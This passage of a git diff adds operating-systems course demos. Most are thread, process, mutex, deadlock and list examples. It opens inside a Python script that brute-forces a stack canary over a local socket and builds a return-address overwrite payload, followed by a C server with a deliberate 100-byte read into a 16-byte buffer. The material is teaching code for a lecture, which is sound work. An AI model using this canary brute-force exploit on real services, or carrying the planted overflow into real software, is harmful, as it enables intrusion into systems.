doing brute force. +def find_canary(): + global payload + for i in range(8): + for j in range(255): + # Connect to server. + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect(("localhost", 5000)) + + # Send payload so far plus byte to guess. + msg = payload+bytes([j]) + s.send(msg) + + # If we sent a correct byte (we matched the byte in canary value) + # there will be a return message. Add byte to payload. + ret = s.recv(1000) + if (len(ret) > 0): + payload = payload+bytes([j]) + print("Canary byte {:d} is 0x{:02x}".format(i, j)) + break + + +# Create exploit payload. +def craft_payload(): + global payload + # Skip saved RBP on stack. + payload = payload + b'A'*8 + + # Add value to overwrite return address (i.e. inject_func()). + payload = payload + struct.pack(" +#include +#include +#include +#include +#include +#include +#include +#include +#include "utils.h" + + +#define LISTEN_PORT 5000 +#define LISTEN_BACKLOG 5 + + +static const char MSG[] = "Called actual function.\n\n"; +static const char ATTACK[] = "Called injected function.\n\n"; +static int connectfd; + + +static void actual_func(void) +{ + write(connectfd, MSG, strlen(MSG)+1); +} + +static void inject_func(void) +{ + write(connectfd, ATTACK, strlen(ATTACK)+1); +} + +static void process_client(void) +{ + char buffer[16]; + + read(connectfd, buffer, 100); +} + + +int main(void) +{ + int listenfd; + struct sockaddr_in servaddr; + int rc; + pid_t pid; + + /* Create TCP (stream) socket. */ + listenfd = socket(AF_INET, SOCK_STREAM, 0); + DIE(listenfd < 0, "socket"); + memset(&servaddr, 0, sizeof(servaddr)); + + /* Assign IP address and port to socket. */ + servaddr.sin_family = AF_INET; + servaddr.sin_addr.s_addr = htonl(INADDR_ANY); + servaddr.sin_port = htons(LISTEN_PORT); + + /* Put server socket in listening mode. */ + rc = bind(listenfd, (struct sockaddr*)&servaddr, sizeof(servaddr)); + DIE(rc < 0, "bind"); + rc = listen(listenfd, LISTEN_BACKLOG); + DIE(rc < 0, "listen"); + + while (1) { + /* Loop waiting for connections. Ignore originating address. */ + connectfd = accept(listenfd, NULL, 0); + DIE(connectfd < 0, "accept"); + pid = fork(); + switch (pid) { + case 0: /* child process */ + process_client(); + actual_func(); + close(connectfd); + exit(EXIT_SUCCESS); + break; + + default: /* parent process or error */ + close(connectfd); + wait(NULL); /* ignore child exit status */ + } + } + + return 0; +} diff --git a/courses/curs-07-demo/utils/utils.h b/courses/curs-07-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-07-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-08-demo/address-space/.gitignore b/courses/curs-08-demo/address-space/.gitignore new file mode 100644 index 00000000..efa3e0e7 --- /dev/null +++ b/courses/curs-08-demo/address-space/.gitignore @@ -0,0 +1 @@ +/address-space diff --git a/courses/curs-08-demo/address-space/Makefile b/courses/curs-08-demo/address-space/Makefile new file mode 100644 index 00000000..bcec8bc8 --- /dev/null +++ b/courses/curs-08-demo/address-space/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: address-space + +address-space: address-space.o + +address-space.o: address-space.c ../utils/utils.h + +clean: + -rm -f *.o *~ address-space diff --git a/courses/curs-08-demo/address-space/address-space.c b/courses/curs-08-demo/address-space/address-space.c new file mode 100644 index 00000000..50097346 --- /dev/null +++ b/courses/curs-08-demo/address-space/address-space.c @@ -0,0 +1,57 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_THREADS 5 + + +static void msg_and_wait(const char *msg) +{ + char buf[256]; + + puts(msg); + fputs(" Press ENTER to continue ...", stdout); fflush(stdout); + + while(1) { + fgets(buf, 256, stdin); + if (buf[strlen(buf)-1] == '\n') + break; + } +} + +static void *show(void *arg) +{ + struct timespec ts; + + printf("This is thread %lu\n", pthread_self()); + + ts.tv_sec = 100; + ts.tv_nsec = 0; + nanosleep(&ts, NULL); + + return NULL; +} + +int main(void) +{ + pthread_t ths[NUM_THREADS]; + size_t i; + + msg_and_wait("Program started."); + + for (i = 0; i < NUM_THREADS; i++) { + DIE(pthread_create(&ths[i], NULL, &show, NULL) != 0, "pthread_create"); + msg_and_wait("Created new thread."); + } + + for (i = 0; i < NUM_THREADS; i++) + DIE(pthread_join(ths[i], NULL), "pthread_join"); + + return 0; +} diff --git a/courses/curs-08-demo/creation-time/.gitignore b/courses/curs-08-demo/creation-time/.gitignore new file mode 100644 index 00000000..3db4382e --- /dev/null +++ b/courses/curs-08-demo/creation-time/.gitignore @@ -0,0 +1,2 @@ +/process-overhead +/thread-overhead diff --git a/courses/curs-08-demo/creation-time/Makefile b/courses/curs-08-demo/creation-time/Makefile new file mode 100644 index 00000000..14daab16 --- /dev/null +++ b/courses/curs-08-demo/creation-time/Makefile @@ -0,0 +1,19 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: process-overhead thread-overhead + +process-overhead: process-overhead.o + +process-overhead.o: process-overhead.c ../utils/utils.h + +thread-overhead: thread-overhead.o + +thread-overhead.o: thread-overhead.c ../utils/utils.h + +clean: + -rm -f *.o *~ process-overhead thread-overhead diff --git a/courses/curs-08-demo/creation-time/process-overhead.c b/courses/curs-08-demo/creation-time/process-overhead.c new file mode 100644 index 00000000..84eb26f6 --- /dev/null +++ b/courses/curs-08-demo/creation-time/process-overhead.c @@ -0,0 +1,43 @@ +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_ROUNDS 100 +#define NUM_PROCESSES 100 + +static void show(void) +{ + printf("This is process %d\n", getpid()); +} + +int main(void) +{ + int status; + size_t i, j; + + for (i = 0; i < NUM_ROUNDS; i++) { + for (j = 0; j < NUM_PROCESSES; j++) { + pid_t pid = fork(); + switch (pid) { + case -1: + DIE(pid, "fork"); + case 0: + /* child process */ + show(); + exit(EXIT_SUCCESS); + break; + default: + /* parent process */ + break; + } + } + + for (j = 0; j < NUM_PROCESSES; j++) + wait(&status); + } + + return 0; +} diff --git a/courses/curs-08-demo/creation-time/thread-overhead.c b/courses/curs-08-demo/creation-time/thread-overhead.c new file mode 100644 index 00000000..708dc020 --- /dev/null +++ b/courses/curs-08-demo/creation-time/thread-overhead.c @@ -0,0 +1,33 @@ +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_ROUNDS 100 +#define NUM_THREADS 100 + +static void *show(void *arg) +{ + printf("This is thread %lu\n", pthread_self()); + + return NULL; +} + +int main(void) +{ + pthread_t ths[NUM_THREADS]; + size_t i, j; + + for (i = 0; i < NUM_ROUNDS; i++) { + for (j = 0; j < NUM_THREADS; j++) + DIE(pthread_create(&ths[j], NULL, &show, NULL) != 0, "pthread_create"); + + for (j = 0; j < NUM_THREADS; j++) + DIE(pthread_join(ths[j], NULL), "pthread_join"); + } + + return 0; +} diff --git a/courses/curs-08-demo/lang/Makefile b/courses/curs-08-demo/lang/Makefile new file mode 100644 index 00000000..924f24d4 --- /dev/null +++ b/courses/curs-08-demo/lang/Makefile @@ -0,0 +1,10 @@ +.PHONY: all + +all: MultithreadingTest.class + +MultithreadingTest.class: MultithreadingTest.java + javac $< + +clean: + -rm -f *~ + -rm -f MultithreadingTest.class MultithreadingDemo.class diff --git a/courses/curs-08-demo/lang/MultithreadingTest.java b/courses/curs-08-demo/lang/MultithreadingTest.java new file mode 100644 index 00000000..0870f6fe --- /dev/null +++ b/courses/curs-08-demo/lang/MultithreadingTest.java @@ -0,0 +1,38 @@ +import java.util.Scanner; + +class MultithreadingDemo extends Thread { + public static final int SLEEP_TIME = 100; /* sleeep time in seconds */ + public void run() { + try { + // Display the running thread. + System.out.println("Thread " + Thread.currentThread().getId() + " is running"); + // Put thread to sleep to monitor it. + Thread.sleep(SLEEP_TIME * 1000); + } catch (Exception e) { + System.out.println(e); + } + } +} + +public class MultithreadingTest { + public static final int NUM_THREADS = 8; /* number of threads to create */ + public static void main(String[] args) { + MultithreadingDemo[] demo = new MultithreadingDemo[NUM_THREADS]; + /* Start threads. */ + for (int i = 0; i < NUM_THREADS; i++) { + System.out.println("Press ENTER to create new thread ..."); + Scanner scanner = new Scanner(System.in); + scanner.nextLine(); + demo[i] = new MultithreadingDemo(); + demo[i].start(); + } + /* Wait for threads. */ + for (int i = 0; i < NUM_THREADS; i++) { + try { + demo[i].join(); + } catch (Exception e) { + System.out.println(e); + } + } + } +} diff --git a/courses/curs-08-demo/lang/threading_demo.py b/courses/curs-08-demo/lang/threading_demo.py new file mode 100644 index 00000000..39e69e15 --- /dev/null +++ b/courses/curs-08-demo/lang/threading_demo.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python + +import sys +import threading +import time + +SLEEP_TIME = 100 +NUM_THREADS = 8 + +def run(): + print "Thread {:d} is running".format(threading.currentThread().ident) + time.sleep(SLEEP_TIME) + +def main(): + th = [None for i in range(NUM_THREADS)] + for i in range(NUM_THREADS): + print "Press ENTER to create new thread ..." + s = sys.stdin.readline() + # Start threads. + th[i] = threading.Thread(target=run) + th[i].start() + for i in range(NUM_THREADS): + # Wait for threads. + th[i].join() + +if __name__ == "__main__": + sys.exit(main()) diff --git a/courses/curs-08-demo/reentrant/.gitignore b/courses/curs-08-demo/reentrant/.gitignore new file mode 100644 index 00000000..bbf36339 --- /dev/null +++ b/courses/curs-08-demo/reentrant/.gitignore @@ -0,0 +1,4 @@ +/reentrant +/reentrant-ok +/out +/out-ok diff --git a/courses/curs-08-demo/reentrant/Makefile b/courses/curs-08-demo/reentrant/Makefile new file mode 100644 index 00000000..b4744745 --- /dev/null +++ b/courses/curs-08-demo/reentrant/Makefile @@ -0,0 +1,20 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: reentrant reentrant-ok + +reentrant: reentrant.o + +reentrant.o: reentrant.c ../utils/utils.h + +reentrant-ok: reentrant-ok.o + +reentrant-ok.o: reentrant.c ../utils/utils.h + $(CC) $(CPPFLAGS) $(CFLAGS) -DUSE_REENTRANT -c -o $@ $< + +clean: + -rm -f *.o *~ reentrant reentrant-ok diff --git a/courses/curs-08-demo/reentrant/reentrant.c b/courses/curs-08-demo/reentrant/reentrant.c new file mode 100644 index 00000000..b04560fd --- /dev/null +++ b/courses/curs-08-demo/reentrant/reentrant.c @@ -0,0 +1,58 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_ROUNDS 1000 +#define NUM_THREADS 100 + +#ifdef USE_REENTRANT +static void *print_time(void *arg) +{ + time_t t = time(NULL); + size_t i; + char str_time[NUM_ROUNDS][128]; + + for (i = 0; i < NUM_ROUNDS; i++) + ctime_r(&t, str_time[i]); + + for (i = 0; i < NUM_ROUNDS; i++) + printf("Thread %zd computed time %s\n", (size_t) arg, str_time[i]); + + return NULL; +} +#else +static void *print_time(void *arg) +{ + time_t t = time(NULL); + size_t i; + char *str_time[NUM_ROUNDS]; + + for (i = 0; i < NUM_ROUNDS; i++) + str_time[i] = ctime(&t); + + for (i = 0; i < NUM_ROUNDS; i++) + printf("Thread %zd computed time %s", (size_t) arg, str_time[i]); + + return NULL; +} +#endif + +int main(void) +{ + pthread_t ths[NUM_THREADS]; + size_t i; + + for (i = 0; i < NUM_THREADS; i++) + DIE(pthread_create(&ths[i], NULL, &print_time, (void *)(i+1)) != 0, "pthread_create"); + + for (i = 0; i < NUM_THREADS; i++) + DIE(pthread_join(ths[i], NULL), "pthread_join"); + + return 0; +} diff --git a/courses/curs-08-demo/shared-data/.gitignore b/courses/curs-08-demo/shared-data/.gitignore new file mode 100644 index 00000000..78f4c873 --- /dev/null +++ b/courses/curs-08-demo/shared-data/.gitignore @@ -0,0 +1,2 @@ +/process +/thread diff --git a/courses/curs-08-demo/shared-data/Makefile b/courses/curs-08-demo/shared-data/Makefile new file mode 100644 index 00000000..081a4ecc --- /dev/null +++ b/courses/curs-08-demo/shared-data/Makefile @@ -0,0 +1,19 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unsed -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: process thread + +process: process.o + +process.o: process.c ../utils/utils.h + +thread: thread.o + +thread.o: thread.c ../utils/utils.h + +clean: + -rm -f *.o *~ process thread diff --git a/courses/curs-08-demo/shared-data/process.c b/courses/curs-08-demo/shared-data/process.c new file mode 100644 index 00000000..c7e8c813 --- /dev/null +++ b/courses/curs-08-demo/shared-data/process.c @@ -0,0 +1,37 @@ +#include +#include +#include +#include + +#include "utils.h" + +static int data_var = 0; + +static void inc(void) +{ + data_var++; + printf("data_var = %d\n", data_var); +} + +int main(void) +{ + int status; + pid_t pid = fork(); + + switch (pid) { + case -1: + DIE(pid, "fork"); + case 0: + /* child process */ + inc(); + break; + default: + /* parent process */ + sleep(2); + inc(); + wait(&status); + break; + } + + return 0; +} diff --git a/courses/curs-08-demo/shared-data/thread.c b/courses/curs-08-demo/shared-data/thread.c new file mode 100644 index 00000000..7a0d70ec --- /dev/null +++ b/courses/curs-08-demo/shared-data/thread.c @@ -0,0 +1,31 @@ +#include +#include +#include +#include +#include + +#include "utils.h" + +static unsigned int data_var = 0; + +static void *inc(void *arg) +{ + data_var++; + printf("data_var = %d\n", data_var); + + return NULL; +} + +int main(void) +{ + pthread_t th; + + DIE(pthread_create(&th, NULL, &inc, NULL) != 0, "pthread_create"); + + sleep(2); + inc(NULL); + + DIE(pthread_join(th, NULL), "pthread_join"); + + return 0; +} diff --git a/courses/curs-08-demo/stack-access/.gitignore b/courses/curs-08-demo/stack-access/.gitignore new file mode 100644 index 00000000..3c9d1233 --- /dev/null +++ b/courses/curs-08-demo/stack-access/.gitignore @@ -0,0 +1 @@ +/stack-access diff --git a/courses/curs-08-demo/stack-access/Makefile b/courses/curs-08-demo/stack-access/Makefile new file mode 100644 index 00000000..e0fdb391 --- /dev/null +++ b/courses/curs-08-demo/stack-access/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: stack-access + +stack-access: stack-access.o + +stack-access.o: stack-access.c ../utils/utils.h + +clean: + -rm -f *.o *~ stack-access diff --git a/courses/curs-08-demo/stack-access/stack-access.c b/courses/curs-08-demo/stack-access/stack-access.c new file mode 100644 index 00000000..d0213cab --- /dev/null +++ b/courses/curs-08-demo/stack-access/stack-access.c @@ -0,0 +1,66 @@ +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +static unsigned int *stack_var_pointer; + +static void *writer(void *arg) +{ + struct timespec ts; + + printf("writer: going to sleep for 2 seconds ...\n"); + ts.tv_sec = 2; + ts.tv_nsec = 0; + nanosleep(&ts, NULL); + + printf("writer: write 0x22222222 to reader local_var (address is %p)\n", stack_var_pointer); + *stack_var_pointer = 0x22222222; + + printf("writer: end execution\n"); + return NULL; +} + +static void *reader(void *arg) +{ + unsigned int local_var = 0x11111111; + struct timespec ts; + + stack_var_pointer = &local_var; + + printf("reader: local_var is 0x%08x, local_var address is: %p\n", + local_var, &local_var); + + printf("reader: going to for 5 seconds ...\n"); + ts.tv_sec = 5; + ts.tv_nsec = 0; + nanosleep(&ts, NULL); + + printf("reader: local_var is 0x%08x\n", local_var); + + printf("reader: end execution\n"); + return NULL; +} + +int main(void) +{ + pthread_t th_reader, th_writer; + int rc; + + rc = pthread_create(&th_reader, NULL, &reader, NULL); + DIE(rc != 0, "pthread_create"); + rc = pthread_create(&th_writer, NULL, &writer, NULL); + DIE(rc != 0, "pthread_create"); + + rc = pthread_join(th_writer, NULL); + DIE(rc != 0, "pthread_join"); + rc = pthread_join(th_reader, NULL); + DIE(rc != 0, "pthread_join"); + + return 0; +} diff --git a/courses/curs-08-demo/utils/utils.h b/courses/curs-08-demo/utils/utils.h new file mode 100644 index 00000000..e7652def --- /dev/null +++ b/courses/curs-08-demo/utils/utils.h @@ -0,0 +1,25 @@ +/** + * SO, 2011 + * Lab #3, Procese + * + * Useful structures/macros + */ + +#ifndef LIN_UTILS_H_ +#define LIN_UTILS_H_ 1 + +#include +#include + +/* useful macro for handling error codes */ +#define DIE(assertion, call_description) \ + do { \ + if (assertion) { \ + fprintf(stderr, "(%s, %d): ", \ + __FILE__, __LINE__); \ + perror(call_description); \ + exit(EXIT_FAILURE); \ + } \ + } while(0) + +#endif diff --git a/courses/curs-09-demo/deadlock/.gitignore b/courses/curs-09-demo/deadlock/.gitignore new file mode 100644 index 00000000..de10b17f --- /dev/null +++ b/courses/curs-09-demo/deadlock/.gitignore @@ -0,0 +1 @@ +/deadlock diff --git a/courses/curs-09-demo/deadlock/Makefile b/courses/curs-09-demo/deadlock/Makefile new file mode 100644 index 00000000..f1390b00 --- /dev/null +++ b/courses/curs-09-demo/deadlock/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: deadlock + +deadlock: deadlock.o + +deadlock.o: deadlock.c ../utils/utils.h + +clean: + -rm -f *.o *~ deadlock diff --git a/courses/curs-09-demo/deadlock/deadlock.c b/courses/curs-09-demo/deadlock/deadlock.c new file mode 100644 index 00000000..5c1dd35f --- /dev/null +++ b/courses/curs-09-demo/deadlock/deadlock.c @@ -0,0 +1,75 @@ +/** + * Deadlock + */ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_THREADS 100 + +static size_t x; +static size_t y; +static pthread_mutex_t xmutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t ymutex = PTHREAD_MUTEX_INITIALIZER; + +static void *xfirst(void *arg) +{ + size_t idx = (size_t) arg; + size_t i; + + printf("xthread %zd running\n", idx); + pthread_mutex_lock(&xmutex); + for (i = 0; i < 100000; i++) + x++; + pthread_mutex_lock(&ymutex); + for (i = 0; i < 100000; i++) + y++; + pthread_mutex_unlock(&ymutex); + pthread_mutex_unlock(&xmutex); + + return NULL; +} + +static void *yfirst(void *arg) +{ + size_t idx = (size_t) arg; + size_t i; + + printf("ythread %zd running\n", idx); + pthread_mutex_lock(&ymutex); + for (i = 0; i < 100000; i++) + y++; + pthread_mutex_lock(&xmutex); + for (i = 0; i < 100000; i++) + x++; + pthread_mutex_unlock(&xmutex); + pthread_mutex_unlock(&ymutex); + + return NULL; +} + +int main(void) +{ + pthread_t threads[2*NUM_THREADS]; + size_t i; + int rc; + + for (i = 0; i < NUM_THREADS; i++){ + rc = pthread_create(&threads[2*i], NULL, xfirst, (void *) i); + DIE(rc == -1, "pthread_create"); + rc = pthread_create(&threads[2*i+1], NULL, yfirst, (void *) i); + DIE(rc == -1, "pthread_create"); + } + + for (i = 0; i < 2*NUM_THREADS; i++){ + rc = pthread_join(threads[i], NULL); + DIE(rc == -1, "pthread_join"); + } + + return 0; +} diff --git a/courses/curs-09-demo/granularity/.gitignore b/courses/curs-09-demo/granularity/.gitignore new file mode 100644 index 00000000..509a629a --- /dev/null +++ b/courses/curs-09-demo/granularity/.gitignore @@ -0,0 +1,2 @@ +/granularity-fine +/granularity-coarse diff --git a/courses/curs-09-demo/granularity/Makefile b/courses/curs-09-demo/granularity/Makefile new file mode 100644 index 00000000..a0b1c34d --- /dev/null +++ b/courses/curs-09-demo/granularity/Makefile @@ -0,0 +1,21 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: clean + +all: granularity-fine granularity-coarse + +granularity-fine: granularity-fine.o + +granularity-fine.o: granularity.c ../utils/utils.h + $(CC) $(CFLAGS) $(CPPFLAGS) -DGRANULARITY_TYPE=2 -c -o $@ $< + +granularity-coarse: granularity-coarse.o + +granularity-coarse.o: granularity.c ../utils/utils.h + $(CC) $(CFLAGS) $(CPPFLAGS) -DGRANULARITY_TYPE=1 -c -o $@ $< + +clean: + rm -f *.o *~ granularity-fine granularity-coarse diff --git a/courses/curs-09-demo/granularity/granularity.c b/courses/curs-09-demo/granularity/granularity.c new file mode 100644 index 00000000..89604220 --- /dev/null +++ b/courses/curs-09-demo/granularity/granularity.c @@ -0,0 +1,62 @@ +/* + * Granularity + */ + +#include +#include +#include +#include + +#include "../utils/utils.h" + +#define NUM_THREADS 100 +#define INCREMENTS_PER_THREAD 100000 + +#define GRANULARITY_COARSE 1 +#define GRANULARITY_FINE 2 + +static size_t value = 0; +static pthread_mutex_t m = PTHREAD_MUTEX_INITIALIZER; + +static void *useless_work(void *arg) +{ + size_t i; + +#if GRANULARITY_TYPE == GRANULARITY_FINE + for (i = 0; i < INCREMENTS_PER_THREAD; i++) { + pthread_mutex_lock(&m); + value++; + pthread_mutex_unlock(&m); + } +#elif GRANULARITY_TYPE == GRANULARITY_COARSE + pthread_mutex_lock(&m); + for (i = 0; i < INCREMENTS_PER_THREAD; i++) { + value++; + } + pthread_mutex_unlock(&m); +#endif + + return NULL; +} + +int main(void) +{ + pthread_t threads[NUM_THREADS]; + size_t i; + int rc; + + /* Create threads. */ + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_create(&threads[i], NULL, useless_work, NULL); + DIE(rc != 0, "pthread_create"); + } + + /* Wait for threads, show termination code and close handled. */ + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_join(threads[i], NULL); + DIE(rc != 0, "pthread-join"); + } + + pthread_mutex_destroy(&m); + return 0; +} diff --git a/courses/curs-09-demo/indefinite-wait/.gitignore b/courses/curs-09-demo/indefinite-wait/.gitignore new file mode 100644 index 00000000..4c7bb532 --- /dev/null +++ b/courses/curs-09-demo/indefinite-wait/.gitignore @@ -0,0 +1 @@ +/indefinite-wait diff --git a/courses/curs-09-demo/indefinite-wait/Makefile b/courses/curs-09-demo/indefinite-wait/Makefile new file mode 100644 index 00000000..cd682b9e --- /dev/null +++ b/courses/curs-09-demo/indefinite-wait/Makefile @@ -0,0 +1,15 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: all clean + +all: indefinite-wait + +indefinite-wait: indefinite-wait.o + +indefinite-wait.o: indefinite-wait.c ../utils/utils.h + +clean: + -rm -f *.o *~ indefinite-wait diff --git a/courses/curs-09-demo/indefinite-wait/indefinite-wait.c b/courses/curs-09-demo/indefinite-wait/indefinite-wait.c new file mode 100644 index 00000000..ccf063f5 --- /dev/null +++ b/courses/curs-09-demo/indefinite-wait/indefinite-wait.c @@ -0,0 +1,91 @@ +/** + * Time of check to time of use race condition + */ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#define NUM_PRODUCERS 50 +#define NUM_CONSUMERS 50 + +#define NO_ITEM 0 +#define ITEM 42 +#define MAX_ITEMS 10 + +static struct { + unsigned char storage[MAX_ITEMS]; + size_t size; +} pc_buffer; + +static pthread_mutex_t pc_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_cond_t buffer_full_cond = PTHREAD_COND_INITIALIZER; +static pthread_cond_t buffer_empty_cond = PTHREAD_COND_INITIALIZER; + +static void *produce(void *arg) +{ + size_t idx = (size_t) arg; + + pthread_mutex_lock(&pc_mutex); + if (pc_buffer.size >= MAX_ITEMS) + pthread_cond_wait(&buffer_full_cond, &pc_mutex); + pc_buffer.storage[pc_buffer.size] = ITEM; + pc_buffer.size++; + printf("Producer %zu created item.\n", idx); + pthread_mutex_unlock(&pc_mutex); + + return NULL; +} + +static void *consume(void *arg) +{ + size_t idx = (size_t) arg; + + pthread_mutex_lock(&pc_mutex); + if (pc_buffer.size == 0) + pthread_cond_wait(&buffer_empty_cond, &pc_mutex); + pc_buffer.storage[pc_buffer.size] = NO_ITEM; + pc_buffer.size--; + printf("Consumer %zu removed item.\n", idx); + pthread_mutex_unlock(&pc_mutex); + + return NULL; +} + +int main(void) +{ + pthread_t p_threads[NUM_PRODUCERS]; + pthread_t c_threads[NUM_CONSUMERS]; + size_t i; + int rc; + + for (i = 0; i < NUM_PRODUCERS; i++){ + rc = pthread_create(&p_threads[i], NULL, produce, (void *) i); + DIE(rc == -1, "pthread_create"); + } + printf("Created %d producers.\n", NUM_PRODUCERS); + puts("Each producer creates one item."); + + for (i = 0; i < NUM_CONSUMERS; i++){ + rc = pthread_create(&c_threads[i], NULL, consume, (void *) i); + DIE(rc == -1, "pthread_create"); + } + printf("Created %d consumers.\n", NUM_CONSUMERS); + puts("Each producer removes one item."); + + for (i = 0; i < NUM_PRODUCERS; i++){ + rc = pthread_join(p_threads[i], NULL); + DIE(rc == -1, "pthread_join"); + } + + for (i = 0; i < NUM_CONSUMERS; i++){ + rc = pthread_join(c_threads[i], NULL); + DIE(rc == -1, "pthread_join"); + } + + return 0; +} diff --git a/courses/curs-09-demo/list-excl/.gitignore b/courses/curs-09-demo/list-excl/.gitignore new file mode 100644 index 00000000..1a9fe575 --- /dev/null +++ b/courses/curs-09-demo/list-excl/.gitignore @@ -0,0 +1,2 @@ +/thread-list-app +/thread-list-app-mutex diff --git a/courses/curs-09-demo/list-excl/Makefile b/courses/curs-09-demo/list-excl/Makefile new file mode 100644 index 00000000..5fec1b55 --- /dev/null +++ b/courses/curs-09-demo/list-excl/Makefile @@ -0,0 +1,22 @@ +CC = gcc +CPPFLAGS = -I../utils +CFLAGS = -Wall -Wextra -Wno-unused -Wno-unused-parameter -g +LDLIBS = -lpthread + +.PHONY: clean + +all: thread-list-app thread-list-app-mutex + +thread-list-app-mutex: thread-list-app-mutex.o list.o + +thread-list-app-mutex.o: thread-list-app.c list.h ../utils/utils.h + $(CC) $(CPPFLAGS) $(CFLAGS) -c -o $@ $< -D USE_MUTEX + +thread-list-app: thread-list-app.o list.o + +thread-list-app.o: thread-list-app.c list.h ../utils/utils.h + +list.o: list.c ../utils/utils.h + +clean: + -rm -f *.o *~ thread-list-app thread-list-app-mutex diff --git a/courses/curs-09-demo/list-excl/list.c b/courses/curs-09-demo/list-excl/list.c new file mode 100644 index 00000000..02663b24 --- /dev/null +++ b/courses/curs-09-demo/list-excl/list.c @@ -0,0 +1,128 @@ +/* + * Integer list management functions. + */ + +#include +#include +#include + +#include "utils.h" +#include "list.h" + +static size_t list_size; + +void list_init_head(struct int_list *head) +{ + head->item = HEAD_ITEM; + head->next = head; + head->prev = head; + + list_size = 0; +} + +void list_add_item(struct int_list *head, int item) +{ + struct int_list *p; + + p = malloc(sizeof(*p)); + DIE(p == NULL, "malloc"); + p->item = item; + + p->next = head->next; + p->prev = head; + head->next->prev = p; + head->next = p; + + list_size++; +} + +void list_add_item_tail(struct int_list *head, int item) +{ + struct int_list *p; + + p = malloc(sizeof(*p)); + DIE(p == NULL, "malloc"); + p->item = item; + + p->next = head; + p->prev = head->prev; + head->prev->next = p; + head->prev = p; + + list_size++; +} + +void list_insert_item(struct int_list *head, size_t pos, int item) +{ + struct int_list *p, *place; + size_t i; + + /* + * Find place to insert item. + * If pos is greater than list size insert after head. + */ + + place = head->next; + for (i = 0; i < pos; i++) { + if (place == head) + break; + place = place->next; + } + + p = malloc(sizeof(*p)); + DIE(p == NULL, "malloc"); + p->item = item; + + p->next = place->next; + p->prev = place; + place->next->prev = p; + place->next = p; + + list_size++; +} + +void list_remove_item(struct int_list *head, size_t pos) +{ + struct int_list *p; + size_t i; + + /* Cannot remove item outside of list. */ + if (pos >= list_size) + return; + + p = head->next; + for (i = 0; i < pos; i++) { + /* Something fishy happened if head was reached. */ + if (p == head) { + fprintf(stderr, "reached head when removing. not good.\n"); + break; + } + p = p->next; + } + + p->prev->next = p->next; + p->next->prev = p->prev; + p->prev = p->next = p; + free(p); + + list_size--; +} + +int list_search_item(struct int_list *head, int item) +{ + struct int_list *p; + + for (p = head->next; p != head; p = p->next) { + if (p->item == item) + return 1; + if (p == head) + break; + } + + return 0; +} + +size_t list_get_size(struct int_list *head) +{ + return list_size; +} diff --git a/courses/curs-09-demo/list-excl/list.h b/courses/curs-09-demo/list-excl/list.h new file mode 100644 index 00000000..b3b6ffac --- /dev/null +++ b/courses/curs-09-demo/list-excl/list.h @@ -0,0 +1,24 @@ +/* + * Integer list management + */ + +#ifndef LIST_H_ +#define LIST_H_ 1 + +struct int_list { + int item; + struct int_list *next; + struct int_list *prev; +}; + +#define HEAD_ITEM 0xCCCCCCCC + +void list_init_head(struct int_list *head); +void list_add_item(struct int_list *head, int item); +void list_add_item_tail(struct int_list *head, int item); +void list_insert_item(struct int_list *head, size_t pos, int item); +void list_remove_item(struct int_list *head, size_t pos); +int list_search_item(struct int_list *head, int item); +size_t list_get_size(struct int_list *head); + +#endif diff --git a/courses/curs-09-demo/list-excl/thread-list-app.c b/courses/curs-09-demo/list-excl/thread-list-app.c new file mode 100644 index 00000000..1256f902 --- /dev/null +++ b/courses/curs-09-demo/list-excl/thread-list-app.c @@ -0,0 +1,146 @@ +/* + * Use multiple threads to modify a list. + */ + +#include +#include +#include +#include +#include +#include +#include + +#include "utils.h" +#include "list.h" + +#define NUM_THREADS 10 +#define NUM_ROUNDS 1000 +#define MAX_ITEM 65536 + +enum list_action { + ADD_ITEM, + ADD_ITEM_TAIL, + INSERT_ITEM, + REMOVE_ITEM, + SEARCH_ITEM, + 